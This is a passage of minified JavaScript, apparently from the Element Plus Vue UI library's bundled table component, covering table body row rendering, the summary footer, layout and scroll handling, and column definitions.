tt("td",{style:g(j,z,W,S),class:v(j,z,W,S,y-1),key:`${re}${le}`,rowspan:k,colspan:y,onMouseenter:we=>l(we,W,ce),onMouseleave:u},[de])}))},R=(W,j,H)=>j.renderCell(H);return{wrappedRowRender:(W,j)=>{const H=e.store,{isRowExpanded:P,assertRowKey:U}=H,{treeData:X,lazyTreeNodeMap:L,childrenColumnName:h,rowKey:b}=H.states,w=H.states.columns.value;if(w.some(({type:C})=>C==="expand")){const C=P(W),S=x(W,j,void 0,C),z=t.renderExpanded;return C?z?[[S,tt("tr",{key:`expanded-row__${S.key}`},[tt("td",{colspan:w.length,class:`${n.e("cell")} ${n.e("expanded-cell")}`},[z({row:W,$index:j,store:H,expanded:C})])])]]:(console.error("[Element Error]renderExpanded is required."),S):[[S]]}else if(Object.keys(X.value).length){U();const C=xr(W,b.value);let S=X.value[C],z=null;S&&(z={expanded:S.expanded,level:S.level,display:!0},typeof S.lazy=="boolean"&&(typeof S.loaded=="boolean"&&S.loaded&&(z.noLazyChildren=!(S.children&&S.children.length)),z.loading=S.loading));const k=[x(W,j,z)];if(S){let y=0;const T=(le,re)=>{le&&le.length&&re&&le.forEach(de=>{const ce={display:re.display&&re.expanded,level:re.level+1,expanded:!1,noLazyChildren:!1,loading:!1},we=xr(de,b.value);if(we==null)throw new Error("For nested data item, row-key is required.");if(S={...X.value[we]},S&&(ce.expanded=S.expanded,S.level=S.level||ce.level,S.display=!!(S.expanded&&ce.display),typeof S.lazy=="boolean"&&(typeof S.loaded=="boolean"&&S.loaded&&(ce.noLazyChildren=!(S.children&&S.children.length)),ce.loading=S.loading)),y++,k.push(x(de,j+y,ce)),S){const Ie=L.value[we]||de[h.value];T(Ie,S)}})};S.display=!0;const te=L.value[C]||W[h.value];T(te,S)}return k}else return x(W,j,void 0)},tooltipContent:c,tooltipTrigger:f}}const vde={store:{required:!0,type:Object},stripe:Boolean,tooltipEffect:String,tooltipOptions:{type:Object},context:{default:()=>({}),type:Object},rowClassName:[String,Function],rowStyle:[Object,Function],fixed:{type:String,default:""},highlight:Boolean};var gde=ie({name:"ElTableBody",props:vde,setup(e){const t=bt(),n=Fe(Hi),r=Oe("table"),{wrappedRowRender:o,tooltipContent:i,tooltipTrigger:s}=mde(e),{onColumnsChange:a,onScrollableChange:l}=a4(n),u=[];return Ce(e.store.states.hoverRow,(c,f)=>{var p;const m=t==null?void 0:t.vnode.el,g=Array.from((m==null?void 0:m.children)||[]).filter(q=>q==null?void 0:q.classList.contains(`${r.e("row")}`));let v=c;const I=(p=g[v])==null?void 0:p.childNodes;I!=null&&I.length?Array.from(I).reduce((M,E,x)=>{var R,K;const W=((R=I[x-1])==null?void 0:R.colSpan)>1,j=((K=I[x+1])==null?void 0:K.colSpan)>1;return E.nodeName!=="TD"&&!W&&!j&&M.push(x),M},[]).forEach(M=>{for(var E;v>0;){const x=(E=g[v-1])==null?void 0:E.childNodes;if(x[M]&&x[M].nodeName==="TD"){To(x[M],"hover-cell"),u.push(x[M]);break}v--}}):(u.forEach(q=>Br(q,"hover-cell")),u.length=0),!(!e.store.states.isComplex.value||!Tt)&&ma(()=>{const q=g[f],M=g[c];q&&!q.classList.contains("hover-fixed-row")&&Br(q,"hover-row"),M&&To(M,"hover-row")})}),Ia(()=>{var c;(c=Co)==null||c()}),{ns:r,onColumnsChange:a,onScrollableChange:l,wrappedRowRender:o,tooltipContent:i,tooltipTrigger:s}},render(){const{wrappedRowRender:e,store:t}=this,n=t.states.data.value||[];return tt("tbody",{tabIndex:-1},[n.reduce((r,o)=>r.concat(e(o,r.length)),[])])}});function yde(){const e=Fe(Hi),t=e==null?void 0:e.store,n=N(()=>t.states.fixedLeafColumnsLength.value),r=N(()=>t.states.rightFixedColumns.value.length),o=N(()=>t.states.columns.value.length),i=N(()=>t.states.fixedColumns.value.length),s=N(()=>t.states.rightFixedColumns.value.length);return{leftFixedLeafCount:n,rightFixedLeafCount:r,columnsCount:o,leftFixedCount:i,rightFixedCount:s,columns:t.states.columns}}function bde(e){const{columns:t}=yde(),n=Oe("table");return{getCellClasses:(i,s)=>{const a=i[s],l=[n.e("cell"),a.id,a.align,a.labelClassName,...zI(n.b(),s,a.fixed,e.store)];return a.className&&l.push(a.className),a.children||l.push(n.is("leaf")),l},getCellStyles:(i,s)=>{const a=KI(s,i.fixed,e.store);return ac(a,"left"),ac(a,"right"),a},columns:t}}var Ide=ie({name:"ElTableFooter",props:{fixed:{type:String,default:""},store:{required:!0,type:Object},summaryMethod:Function,sumText:String,border:Boolean,defaultSort:{type:Object,default:()=>({prop:"",order:""})}},setup(e){const{getCellClasses:t,getCellStyles:n,columns:r}=bde(e);return{ns:Oe("table"),getCellClasses:t,getCellStyles:n,columns:r}},render(){const{columns:e,getCellStyles:t,getCellClasses:n,summaryMethod:r,sumText:o}=this,i=this.store.states.data.value;let s=[];return r?s=r({columns:e,data:i}):e.forEach((a,l)=>{if(l===0){s[l]=o;return}const u=i.map(m=>Number(m[a.property])),c=[];let f=!0;u.forEach(m=>{if(!Number.isNaN(+m)){f=!1;const g=`${m}`.split(".")[1];c.push(g?g.length:0)}});const p=Math.max.apply(null,c);f?s[l]="":s[l]=u.reduce((m,g)=>{const v=Number(g);return Number.isNaN(+v)?m:Number.parseFloat((m+g).toFixed(Math.min(p,20)))},0)}),tt(tt("tfoot",[tt("tr",{},[...e.map((a,l)=>tt("td",{key:l,colspan:a.colSpan,rowspan:a.rowSpan,class:n(e,l),style:t(a,l)},[tt("div",{class:["cell",a.labelClassName]},[s[l]])]))])]))}});function qde(e){return{setCurrentRow:c=>{e.commit("setCurrentRow",c)},getSelectionRows:()=>e.getSelectionRows(),toggleRowSelection:(c,f)=>{e.toggleRowSelection(c,f,!1),e.updateAllSelected()},clearSelection:()=>{e.clearSelection()},clearFilter:c=>{e.clearFilter(c)},toggleAllSelection:()=>{e.commit("toggleAllSelection")},toggleRowExpansion:(c,f)=>{e.toggleRowExpansionAdapter(c,f)},clearSort:()=>{e.clearSort()},sort:(c,f)=>{e.commit("sort",{prop:c,order:f})}}}function wde(e,t,n,r){const o=D(!1),i=D(null),s=D(!1),a=S=>{s.value=S},l=D({width:null,height:null,headerHeight:null}),u=D(!1),c={display:"inline-block",verticalAlign:"middle"},f=D(),p=D(0),m=D(0),g=D(0),v=D(0),I=D(0);Gn(()=>{t.setHeight(e.height)}),Gn(()=>{t.setMaxHeight(e.maxHeight)}),Ce(()=>[e.currentRowKey,n.states.rowKey],([S,z])=>{!d(z)||!d(S)||n.setCurrentRowKey(`${S}`)},{immediate:!0}),Ce(()=>e.data,S=>{r.store.commit("setData",S)},{immediate:!0,deep:!0}),Gn(()=>{e.expandRowKeys&&n.setExpandRowKeysAdapter(e.expandRowKeys)});const q=()=>{r.store.commit("setHoverRow",null),r.hoverState&&(r.hoverState=null)},M=(S,z)=>{const{pixelX:k,pixelY:y}=z;Math.abs(k)>=Math.abs(y)&&(r.refs.bodyWrapper.scrollLeft+=z.pixelX/5)},E=N(()=>e.height||e.maxHeight||n.states.fixedColumns.value.length>0||n.states.rightFixedColumns.value.length>0),x=N(()=>({width:t.bodyWidth.value?`${t.bodyWidth.value}px`:""})),R=()=>{E.value&&t.updateElsHeight(),t.updateColumnsWidth(),requestAnimationFrame(H)};mt(async()=>{await $e(),n.updateColumns(),P(),requestAnimationFrame(R);const S=r.vnode.el,z=r.refs.headerWrapper;e.flexible&&S&&S.parentElement&&(S.parentElement.style.minWidth="0"),l.value={width:f.value=S.offsetWidth,height:S.offsetHeight,headerHeight:e.showHeader&&z?z.offsetHeight:null},n.states.columns.value.forEach(k=>{k.filteredValue&&k.filteredValue.length&&r.store.commit("filterChange",{column:k,values:k.filteredValue,silent:!0})}),r.$ready=!0});const K=(S,z)=>{if(!S)return;const k=Array.from(S.classList).filter(y=>!y.startsWith("is-scrolling-"));k.push(t.scrollX.value?z:"is-scrolling-none"),S.className=k.join(" ")},W=S=>{const{tableWrapper:z}=r.refs;K(z,S)},j=S=>{const{tableWrapper:z}=r.refs;return!!(z&&z.classList.contains(S))},H=function(){if(!r.refs.scrollBarRef)return;if(!t.scrollX.value){const re="is-scrolling-none";j(re)||W(re);return}const S=r.refs.scrollBarRef.wrapRef;if(!S)return;const{scrollLeft:z,offsetWidth:k,scrollWidth:y}=S,{headerWrapper:T,footerWrapper:te}=r.refs;T&&(T.scrollLeft=z),te&&(te.scrollLeft=z);const le=y-k-1;z>=le?W("is-scrolling-right"):W(z===0?"is-scrolling-left":"is-scrolling-middle")},P=()=>{r.refs.scrollBarRef&&(r.refs.scrollBarRef.wrapRef&&pn(r.refs.scrollBarRef.wrapRef,"scroll",H,{passive:!0}),e.fit?On(r.vnode.el,U):pn(window,"resize",U),On(r.refs.bodyWrapper,()=>{var S,z;U(),(z=(S=r.refs)==null?void 0:S.scrollBarRef)==null||z.update()}))},U=()=>{var S,z,k,y;const T=r.vnode.el;if(!r.$ready||!T)return;let te=!1;const{width:le,height:re,headerHeight:de}=l.value,ce=f.value=T.offsetWidth;le!==ce&&(te=!0);const we=T.offsetHeight;(e.height||E.value)&&re!==we&&(te=!0);const Ie=e.tableLayout==="fixed"?r.refs.headerWrapper:(S=r.refs.tableHeaderRef)==null?void 0:S.$el;e.showHeader&&(Ie==null?void 0:Ie.offsetHeight)!==de&&(te=!0),p.value=((z=r.refs.tableWrapper)==null?void 0:z.scrollHeight)||0,g.value=(Ie==null?void 0:Ie.scrollHeight)||0,v.value=((k=r.refs.footerWrapper)==null?void 0:k.offsetHeight)||0,I.value=((y=r.refs.appendWrapper)==null?void 0:y.offsetHeight)||0,m.value=p.value-g.value-v.value-I.value,te&&(l.value={width:ce,height:we,headerHeight:e.showHeader&&(Ie==null?void 0:Ie.offsetHeight)||0},R())},X=nr(),L=N(()=>{const{bodyWidth:S,scrollY:z,gutterWidth:k}=t;return S.value?`${S.value-(z.value?k:0)}px`:""}),h=N(()=>e.maxHeight?"fixed":e.tableLayout),b=N(()=>{if(e.data&&e.data.length)return null;let S="100%";e.height&&m.value&&(S=`${m.value}px`);const z=f.value;return{width:z?`${z}px`:"",height:S}}),w=N(()=>e.height?{height:Number.isNaN(Number(e.height))?e.height:`${e.height}px`}:e.maxHeight?{maxHeight:Number.isNaN(Number(e.maxHeight))?e.maxHeight:`${e.maxHeight}px`}:{}),A=N(()=>e.height?{height:"100%"}:e.maxHeight?Number.isNaN(Number(e.maxHeight))?{maxHeight:`calc(${e.maxHeight} - ${g.value+v.value}px)`}:{maxHeight:`${e.maxHeight-g.value-v.value}px`}:{});return{isHidden:o,renderExpanded:i,setDragVisible:a,isGroup:u,handleMouseLeave:q,handleHeaderFooterMousewheel:M,tableSize:X,emptyBlockStyle:b,handleFixedMousewheel:(S,z)=>{const k=r.refs.bodyWrapper;if(Math.abs(z.spinY)>0){const y=k.scrollTop;z.pixelY<0&&y!==0&&S.preventDefault(),z.pixelY>0&&k.scrollHeight-k.clientHeight>y&&S.preventDefault(),k.scrollTop+=Math.ceil(z.pixelY/5)}else k.scrollLeft+=Math.ceil(z.pixelX/5)},resizeProxyVisible:s,bodyWidth:L,resizeState:l,doLayout:R,tableBodyStyles:x,tableLayout:h,scrollbarViewStyle:c,tableInnerStyle:w,scrollbarStyle:A}}function Sde(e){const t=D(),n=()=>{const o=e.vnode.el.querySelector(".hidden-columns"),i={childList:!0,subtree:!0},s=e.store.states.updateOrderFns;t.value=new MutationObserver(()=>{s.forEach(a=>a())}),t.value.observe(o,i)};mt(()=>{n()}),Ia(()=>{var r;(r=t.value)==null||r.disconnect()})}var Ede={data:{type:Array,default:()=>[]},size:fr,width:[String,Number],height:[String,Number],maxHeight:[String,Number],fit:{type:Boolean,default:!0},stripe:Boolean,border:Boolean,rowKey:[String,Function],showHeader:{type:Boolean,default:!0},showSummary:Boolean,sumText:String,summaryMethod:Function,rowClassName:[String,Function],rowStyle:[Object,Function],cellClassName:[String,Function],cellStyle:[Object,Function],headerRowClassName:[String,Function],headerRowStyle:[Object,Function],headerCellClassName:[String,Function],headerCellStyle:[Object,Function],highlightCurrentRow:Boolean,currentRowKey:[String,Number],emptyText:String,expandRowKeys:Array,defaultExpandAll:Boolean,defaultSort:Object,tooltipEffect:String,tooltipOptions:Object,spanMethod:Function,selectOnIndeterminate:{type:Boolean,default:!0},indent:{type:Number,default:16},treeProps:{type:Object,default:()=>({hasChildren:"hasChildren",children:"children"})},lazy:Boolean,load:Function,style:{type:Object,default:()=>({})},className:{type:String,default:""},tableLayout:{type:String,default:"fixed"},scrollbarAlwaysOn:Boolean,flexible:Boolean,showOverflowTooltip:[Boolean,Object]};function u4(e){const t=e.tableLayout==="auto";let n=e.columns||[];t&&n.every(o=>o.width===void 0)&&(n=[]);const r=o=>{const i={key:`${e.tableLayout}_${o.id}`,style:{},name:void 0};return t?i.style={width:`${o.width}px`}:i.name=o.id,i};return tt("colgroup",{},n.map(o=>tt("col",r(o))))}u4.props=["columns","tableLayout"];const Ade=()=>{const e=D(),t=(i,s)=>{const a=e.value;a&&a.scrollTo(i,s)},n=(i,s)=>{const a=e.value;a&&nt(s)&&["Top","Left"].includes(i)&&a[`setScroll${i}`](s)};return{scrollBarRef:e,scrollTo:t,setScrollTop:i=>n("Top",i),setScrollLeft:i=>n("Left",i)}};let Mde=1;const Cde=ie({name:"ElTable",directives:{Mousewheel:h_},components:{TableHeader:fde,TableBody:gde,TableFooter:Ide,ElScrollbar:Cs,hColgroup:u4},props:Ede,emits:["select","select-all","selection-change","cell-mouse-enter","cell-mouse-leave","cell-contextmenu","cell-click","cell-dblclick","row-click","row-contextmenu","row-dblclick","header-click","header-contextmenu","sort-change","filter-change","current-change","header-dragend","expand-change"],setup(e){const{t}=Vt(),n=Oe("table"),r=bt();Ot(Hi,r);const o=_ce(r,e);r.store=o;const i=new ede({store:r.store,table:r,fit:e.fit,showHeader:e.showHeader});r.layout=i;const s=N(()=>(o.states.data.value||[]).length===0),{setCurrentRow:a,getSelectionRows:l,toggleRowSelection:u,clearSelection:c,clearFilter:f,toggleAllSelection:p,toggleRowExpansion:m,clearSort:g,sort:v}=qde(o),{isHidden:I,renderExpanded:q,setDragVisible:M,isGroup:E,handleMouseLeave:x,handleHeaderFooterMousewheel:R,tableSize:K,emptyBlockStyle:W,handleFixedMousewheel:j,resizeProxyVisible:H,bodyWidth:P,resizeState:U,doLayout:X,tableBodyStyles:L,tableLayout:h,scrollbarViewStyle:b,tableInnerStyle:w,scrollbarStyle:A}=wde(e,i,o,r),{scrollBarRef:C,scrollTo:S,setScrollLeft:z,setScrollTop:k}=Ade(),y=co(X,50),T=`${n.namespace.value}-table_${Mde++}`;r.tableId=T,r.state={isGroup:E,resizeState:U,doLayout:X,debouncedUpdateLayout:y};const te=N(()=>e.sumText||t("el.table.sumText")),le=N(()=>e.emptyText||t("el.table.emptyText"));return Sde(r),{ns:n,layout:i,store:o,handleHeaderFooterMousewheel:R,handleMouseLeave:x,tableId:T,tableSize:K,isHidden:I,isEmpty:s,renderExpanded:q,resizeProxyVisible:H,resizeState:U,isGroup:E,bodyWidth:P,tableBodyStyles:L,emptyBlockStyle:W,debouncedUpdateLayout:y,handleFixedMousewheel:j,setCurrentRow:a,getSelectionRows:l,toggleRowSelection:u,clearSelection:c,clearFilter:f,toggleAllSelection:p,toggleRowExpansion:m,clearSort:g,doLayout:X,sort:v,t,setDragVisible:M,context:r,computedSumText:te,computedEmptyText:le,tableLayout:h,scrollbarViewStyle:b,tableInnerStyle:w,scrollbarStyle:A,scrollBarRef:C,scrollTo:S,setScrollLeft:z,setScrollTop:k}}}),kde=["data-prefix"],xde={ref:"hiddenColumns",class:"hidden-columns"};function Ode(e,t,n,r,o,i){const s=pt("hColgroup"),a=pt("table-header"),l=pt("table-body"),u=pt("table-footer"),c=pt("el-scrollbar"),f=$p("mousewheel");return B(),_("div",{ref:"tableWrapper",class:F([{[e.ns.m("fit")]:e.fit,[e.ns.m("striped")]:e.stripe,[e.ns.m("border")]:e.border||e.isGroup,[e.ns.m("hidden")]:e.isHidden,[e.ns.m("group")]:e.isGroup,[e.ns.m("fluid-height")]:e.maxHeight,[e.ns.m("scrollable-x")]:e.layout.scrollX.value,[e.ns.m("scrollable-y")]:e.layout.scrollY.value,[e.ns.m("enable-row-hover")]:!e.store.states.isComplex.value,[e.ns.m("enable-row-transition")]:(e.store.states.data.value||[]).length!==0&&(e.store.states.data.value||[]).length<100,"has-footer":e.showSummary},e.ns.m(e.tableSize),e.className,e.ns.b(),e.ns.m(`layout-${e.tableLayout}`)]),style:De(e.style),"data-prefix":e.ns.namespace.value,onMouseleave:t[0]||(t[0]=(...p)=>e.handleMouseLeave&&e.handleMouseLeave(...p))},[ne("div",{class:F(e.ns.e("inner-wrapper")),style:De(e.tableInnerStyle)},[ne("div",xde,[qe(e.$slots,"default")],512),e.showHeader&&e.tableLayout==="fixed"?ft((B(),_("div",{key:0,ref:"headerWrapper",class:F(e.ns.e("header-wrapper"))},[ne("table",{ref:"tableHeader",class:F(e.ns.e("header")),style:De(e.tableBodyStyles),border:"0",cellpadding:"0",cellspacing:"0"},[ae(s,{columns:e.store.states.columns.value,"table-layout":e.tableLayout},null,8,["columns","table-layout"]),ae(a,{ref:"tableHeaderRef",border:e.border,"default-sort":e.defaultSort,store:e.store,onSetDragVisible:e.setDragVisible},null,8,["border","default-sort","store","onSetDragVisible"])],6)],2)),[[f,e.handleHeaderFooterMousewheel]]):pe("v-if",!0),ne("div",{ref:"bodyWrapper",class:F(e.ns.e("body-wrapper"))},[ae(c,{ref:"scrollBarRef","view-style":e.scrollbarViewStyle,"wrap-style":e.scrollbarStyle,always:e.scrollbarAlwaysOn},{default:fe(()=>[ne("table",{ref:"tableBody",class:F(e.ns.e("body")),cellspacing:"0",cellpadding:"0",border:"0",style:De({width:e.bodyWidth,tableLayout:e.tableLayout})},[ae(s,{columns:e.store.states.columns.value,"table-layout":e.tableLayout},null,8,["columns","table-layout"]),e.showHeader&&e.tableLayout==="auto"?(B(),ye(a,{key:0,ref:"tableHeaderRef",class:F(e.ns.e("body-header")),border:e.border,"default-sort":e.defaultSort,store:e.store,onSetDragVisible:e.setDragVisible},null,8,["class","border","default-sort","store","onSetDragVisible"])):pe("v-if",!0),ae(l,{context:e.context,highlight:e.highlightCurrentRow,"row-class-name":e.rowClassName,"tooltip-effect":e.tooltipEffect,"tooltip-options":e.tooltipOptions,"row-style":e.rowStyle,store:e.store,stripe:e.stripe},null,8,["context","highlight","row-class-name","tooltip-effect","tooltip-options","row-style","store","stripe"]),e.showSummary&&e.tableLayout==="auto"?(B(),ye(u,{key:1,class:F(e.ns.e("body-footer")),border:e.border,"default-sort":e.defaultSort,store:e.store,"sum-text":e.computedSumText,"summary-method":e.summaryMethod},null,8,["class","border","default-sort","store","sum-text","summary-method"])):pe("v-if",!0)],6),e.isEmpty?(B(),_("div",{key:0,ref:"emptyBlock",style:De(e.emptyBlockStyle),class:F(e.ns.e("empty-block"))},[ne("span",{class:F(e.ns.e("empty-text"))},[qe(e.$slots,"empty",{},()=>[Kt(We(e.computedEmptyText),1)])],2)],6)):pe("v-if",!0),e.$slots.append?(B(),_("div",{key:1,ref:"appendWrapper",class:F(e.ns.e("append-wrapper"))},[qe(e.$slots,"append")],2)):pe("v-if",!0)]),_:3},8,["view-style","wrap-style","always"])],2),e.showSummary&&e.tableLayout==="fixed"?ft((B(),_("div",{key:1,ref:"footerWrapper",class:F(e.ns.e("footer-wrapper"))},[ne("table",{class:F(e.ns.e("footer")),cellspacing:"0",cellpadding:"0",border:"0",style:De(e.tableBodyStyles)},[ae(s,{columns:e.store.states.columns.value,"table-layout":e.tableLayout},null,8,["columns","table-layout"]),ae(u,{border:e.border,"default-sort":e.defaultSort,store:e.store,"sum-text":e.computedSumText,"summary-method":e.summaryMethod},null,8,["border","default-sort","store","sum-text","summary-method"])],6)],2)),[[_t,!e.isEmpty],[f,e.handleHeaderFooterMousewheel]]):pe("v-if",!0),e.border||e.isGroup?(B(),_("div",{key:2,class:F(e.ns.e("border-left-patch"))},null,2)):pe("v-if",!0)],6),ft(ne("div",{ref:"resizeProxy",class:F(e.ns.e("column-resize-proxy"))},null,2),[[_t,e.resizeProxyVisible]])],46,kde)}var zde=Ye(Cde,[["render",Ode],["__file","table.vue"]]);const Kde={selection:"table-column--selection",expand:"table__expand-column"},Rde={default:{order:""},selection:{width:48,minWidth:48,realWidth:48,order:""},expand:{width:48,minWidth:48,realWidth:48,order:""},index:{width:48,minWidth:48,realWidth:48,order:""}},Lde=e=>Kde[e]||"",Zde={selection:{renderHeader({store:e,column:t}){function n(){return e.states.data.value&&e.states.data.value.length===0}return tt(Do,{disabled:n(),size:e.states.tableSize.value,indeterminate:e.states.selection.value.length>0&&!e.states.isAllSelected.value,"onUpdate:modelValue":e.toggleAllSelection,modelValue:e.states.isAllSelected.value,ariaLabel:t.label})},renderCell({row:e,column:t,store:n,$index:r}){return tt(Do,{disabled:t.selectable?!t.selectable.call(null,e,r):!1,size:n.states.tableSize.value,onChange:()=>{n.commit("rowSelectedChanged",e)},onClick:o=>o.stopPropagation(),modelValue:n.isSelected(e),ariaLabel:t.label})},sortable:!1,resizable:!1},index:{renderHeader({column:e}){return e.label||"#"},renderCell({column:e,$index:t}){let n=t+1;const r=e.index;return typeof r=="number"?n=t+r:typeof r=="function"&&(n=r(t)),tt("div",{},[n])},sortable:!1},expand:{renderHeader({column:e}){return e.label||""},renderCell({row:e,store:t,expanded:n}){const{ns:r}=t,o=[r.e("expand-icon")];return n&&o.push(r.em("expand-icon","expanded")),tt("div",{class:o,onClick:function(s){s.stopPropagation(),t.toggleRowExpansion(e)}},{default:()=>[tt(Pe,null,{default:()=>[tt(Xr)]})]})},sortable:!1,resizable:!1}};function Tde({row:e,column:t,$index:n}){var r;const o=t.property,i=o&&Mh(e,o).value;return t&&t.formatter?t.formatter(e,t,i,n):((r=i==null?void 0:i.toString)==null?void 0:r.call(i))||""}function Nde({row:e,treeNode:t,store:n},r=!1){const{ns:o}=n;if(!t)return r?[tt("span",{class:o.e("placeholder")})]:null;const i=[],s=function(a){a.stopPropagation(),!t.loading&&n.loadOrToggle(e)};if(t.indent&&i.push(tt("span",{class:o.e("indent"),style:{"padding-left":`${t.indent}px`}})),typeof t.expanded=="boolean"&&!t.noLazyChildren){const a=[o.e("expand-icon"),t.expanded?o.em("expand-icon","expanded"):""];let l=Xr;t.loading&&(l=wa),i.push(tt("div",{class:a,onClick:s},{default:()=>[tt(Pe,{class:{[o.is("loading")]:t.loading}},{default:()=>[tt(l)]})]}))}else i.push(tt("span",{class:o.e("placeholder")}));return i}function E7(e,t){return e.reduce((n,r)=>(n[r]=r,n),t)}function jde(e,t){const n=bt();return{registerComplexWatchers:()=>{const i=["fixed"],s={realWidth:"width",realMinWidth:"minWidth"},a=E7(i,s);Object.keys(a).forEach(l=>{const u=s[l];Gt(t,u)&&Ce(()=>t[u],c=>{let f=c;u==="width"&&l==="realWidth"&&(f=OI(c)),u==="minWidth"&&l==="realMinWidth"&&(f=n4(c)),n.columnConfig.value[u]=f,n.columnConfig.value[l]=f;const p=u==="fixed";e.value.store.scheduleLayout(p)})})},registerNormalWatchers:()=>{const i=["label","filters","filterMultiple","filteredValue","sortable","index","formatter","className","labelClassName","filterClassName","showOverflowTooltip"],s={property:"prop",align:"realAlign",headerAlign:"realHeaderAlign"},a=E7(i,s);Object.keys(a).forEach(l=>{const u=s[l];Gt(t,u)&&Ce(()=>t[u],c=>{n.columnConfig.value[l]=c})})}}}function Wde(e,t,n){const r=bt(),o=D(""),i=D(!1),s=D(),a=D(),l=Oe("table");Gn(()=>{s.value=e.align?`is-${e.align}`:null,s.value}),Gn(()=>{a.value=e.headerAlign?`is-${e.headerAlign}`:s.value,a.value});const u=N(()=>{let x=r.vnode.vParent||r.parent;for(;x&&!x.tableId&&!x.columnId;)x=x.vnode.vParent||x.parent;return x}),c=N(()=>{const{store:x}=r.parent;if(!x)return!1;const{treeData:R}=x.states,K=R.value;return K&&Object.keys(K).length>0}),f=D(OI(e.width)),p=D(n4(e.minWidth)),m=x=>(f.value&&(x.width=f.value),p.value&&(x.minWidth=p.value),!f.value&&p.value&&(x.width=void 0),x.minWidth||(x.minWidth=80),x.realWidth=Number(x.width===void 0?x.minWidth:x.width),x),g=x=>{const R=x.type,K=Zde[R]||{};Object.keys(K).forEach(j=>{const H=K[j];j!=="className"&&H!==void 0&&(x[j]=H)});const W=Lde(R);if(W){const j=`${d(l.namespace)}-${W}`;x.className=x.className?`${x.className} ${j}`:j}return x},v=x=>{Array.isArray(x)?x.forEach(K=>R(K)):R(x);function R(K){var W;((W=K==null?void 0:K.type)==null?void 0:W.name)==="ElTableColumn"&&(K.vParent=r)}};return{columnId:o,realAlign:s,isSubColumn:i,realHeaderAlign:a,columnOrTableParent:u,setColumnWidth:m,setColumnForcedProps:g,setColumnRenders:x=>{e.renderHeader||x.type!=="selection"&&(x.renderHeader=K=>(r.columnConfig.value.label,qe(t,"header",K,()=>[x.label])));let R=x.renderCell;return x.type==="expand"?(x.renderCell=K=>tt("div",{class:"cell"},[R(K)]),n.value.renderExpanded=K=>t.default?t.default(K):t.default):(R=R||Tde,x.renderCell=K=>{let W=null;if(t.default){const L=t.default(K);W=L.some(h=>h.type!==Dr)?L:R(K)}else W=R(K);const{columns:j}=n.value.store.states,H=j.value.findIndex(L=>L.type==="default"),P=c.value&&K.cellIndex===H,U=Nde(K,P),X={class:"cell",style:{}};return x.showOverflowTooltip&&(X.class=`${X.class} ${d(l.namespace)}-tooltip`,X.style={width:`${(K.column.realWidth||Number(K.column.width))-1}px`}),v(W),tt("div",X,[U,W])}),x},getPropsData:(...x)=>x.reduce((R,K)=>(Array.isArray(K)&&K.forEach(W=>{R[W]=e[W]}),R),{}),getColumnElIndex:(x,R)=>Array.prototype.indexOf.call(x,R),updateColumnOrder:()=>{n.value.store.commit("updateColumnOrder",r.columnConfig.value)}}}var Gde={type:{type:String,default:"default"},label:String,className:String,labelClassName:String,property:String,prop:String,width:{type:[String,Number],default:""},minWidth:{type:[String,Number],default:""},renderHeader:Function,sortable:{type:[Boolean,String],default:!1},sortMethod:Function,sortBy:[String,Function,Array],resizable:{type:Boolean,default:!0},columnKey:String,align:String,headerAlign:String,showOverflowTooltip:{type:[Boolean,Object],default:void 0},fixed:[Boolean,String],formatter:Function,selectable:Function,reserveSelection:Boolean,filterMethod:Function,filteredValue:Array,filters:Array,filterPlacement:String,filterMultiple:{type:Boolean,default:!0},filterClassName:String,index:[Number,Function],sortOrders:{type:Array,default:()=>["ascending","descending",null],validator:e=>e.every(t=>["ascending","descending",null].includes(t))}};let Yde=1;var c4=ie({name:"ElTableColumn",components:{ElCheckbox:Do},props:Gde,setup(e,{slots:t}){const n=bt(),r=D({}),o=N(()=>{let E=n.parent;for(;E&&!E.tableId;)E=E.parent;return E}),{registerNormalWatchers:i,registerComplexWatchers:s}=jde(o,e),{columnId:a,isSubColumn:l,realHeaderAlign:u,columnOrTableParent:c,setColumnWidth:f,setColumnForcedProps:p,setColumnRenders:m,getPropsData:g,getColumnElIndex:v,realAlign:I,updateColumnOrder:q}=Wde(e,t,o),M=c.value;a.value=`${M.tableId||M.columnId}_column_${Yde++}`,nm(()=>{l.value=o.value!==M;const E=e.type||"default",x=e.sortable===""?!0:e.sortable,R=Vn(e.showOverflowTooltip)?M.props.showOverflowTooltip:e.showOverflowTooltip,K={...Rde[E],id:a.value,type:E,property:e.prop||e.property,align:I,headerAlign:u,showOverflowTooltip:R,filterable:e.filters||e.filterMethod,filteredValue:[],filterPlacement:"",filterClassName:"",isColumnGroup:!1,isSubColumn:!1,filterOpened:!1,sortable:x,index:e.index,rawColumnKey:n.vnode.key};let U=g(["columnKey","label","className","labelClassName","type","renderHeader","formatter","fixed","resizable"],["sortMethod","sortBy","sortOrders"],["selectable","reserveSelection"],["filterMethod","filters","filterMultiple","filterOpened","filteredValue","filterPlacement","filterClassName"]);U=Yce(K,U),U=Jce(m,f,p)(U),r.value=U,i(),s()}),mt(()=>{var E;const x=c.value,R=l.value?x.vnode.el.children:(E=x.refs.hiddenColumns)==null?void 0:E.children,K=()=>v(R||[],n.vnode.el);r.value.getColumnIndex=K,K()>-1&&o.value.store.commit("insertColumn",r.value,l.value?x.columnConfig.value:null,q)}),vn(()=>{o.value.store.commit("removeColumn",r.value,l.value?M.columnConfig.value:null,q)}),n.columnId=a.value,n.columnConfig=r},render(){var e,t,n;try{const r=(t=(e=this.$slots).default)==null?void 0:t.call(e,{row:{},column:{},$index:-1}),o=[];if(Array.isArray(r))for(const s of r)((n=s.type)==null?void 0:n.name)==="ElTableColumn"||s.shapeFlag&2?o.push(s):s.type===Qe&&Array.isArray(s.children)&&s.children.forEach(a=>{(a==null?void 0:a.patchFlag)!==1024&&!st(a==null?void 0:a.children)&&o.push(a)});return tt("div",o)}catch{return tt("div",[])}}});const Bde=It(zde,{TableColumn:c4}),Jde=kn(c4);var Jd=(e=>(e.ASC="asc",e.DESC="desc",e))(Jd||{}),Vd=(e=>(e.CENTER="center",e.RIGHT="right",e))(Vd||{}),d4=(e=>(e.LEFT="left",e.RIGHT="right",e))(d4||{});const Ey={asc:"desc",desc:"asc"},Ud=Symbol("placeholder"),Vde=(e,t,n)=>{var r;const o={flexGrow:0,flexShrink:0,...n?{}:{flexGrow:e.flexGrow||0,flexShrink:e.flexShrink||1}};n||(o.flexShrink=1);const i={...(r=e.style)!=null?r:{},...o,flexBasis:"auto",width:e.width};return t||(e.maxWidth&&(i.maxWidth=e.maxWidth),e.minWidth&&(i.minWidth=e.minWidth)),i};function Ude(e,t,n){const 